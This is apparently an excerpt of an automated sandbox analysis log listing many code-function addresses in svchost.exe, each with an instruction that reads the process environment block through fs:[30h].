Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]	2_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]	2_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]	2_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]	2_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]	2_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD8350 mov ecx, dword ptr fs:[00000030h]	2_2_03AD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]	2_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]	2_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB8243 mov eax, dword ptr fs:[00000030h]	2_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB8243 mov ecx, dword ptr fs:[00000030h]	2_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]	2_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]	2_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]	2_2_03AEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]	2_2_03AEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]	2_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]	2_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]	2_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]	2_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]	2_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]	2_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]	2_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]	2_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC8158 mov eax, dword ptr fs:[00000030h]	2_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC80A8 mov eax, dword ptr fs:[00000030h]	2_2_03AC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]	2_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]	2_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB60E0 mov eax, dword ptr fs:[00000030h]	2_2_03AB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]	2_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]	2_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]	2_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]	2_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6030 mov eax, dword ptr fs:[00000030h]	2_2_03AC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4000 mov ecx, dword ptr fs:[00000030h]	2_2_03AB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]	2_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]	2_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6050 mov eax, dword ptr fs:[00000030h]	2_2_03AB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]	2_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE47A0 mov eax, dword ptr fs:[00000030h]	2_2_03AE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD678E mov eax, dword ptr fs:[00000030h]	2_2_03AD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE7E1 mov eax, dword ptr fs:[00000030h]	2_2_03ABE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]	2_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]	2_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]	2_2_03A6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30710 mov eax, dword ptr fs:[00000030h]	2_2_03A30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60710 mov eax, dword ptr fs:[00000030h]	2_2_03A60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38770 mov eax, dword ptr fs:[00000030h]	2_2_03A38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov esi, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30750 mov eax, dword ptr fs:[00000030h]	2_2_03A30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE75D mov eax, dword ptr fs:[00000030h]	2_2_03ABE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]	2_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]	2_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4755 mov eax, dword ptr fs:[00000030h]	2_2_03AB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_03A6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A666B0 mov eax, dword ptr fs:[00000030h]	2_2_03A666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]	2_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]	2_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E627 mov eax, dword ptr fs:[00000030h]	2_2_03A4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A66620 mov eax, dword ptr fs:[00000030h]	2_2_03A66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68620 mov eax, dword ptr fs:[00000030h]	2_2_03A68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3262C mov eax, dword ptr fs:[00000030h]	2_2_03A3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE609 mov eax, dword ptr fs:[00000030h]	2_2_03AAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
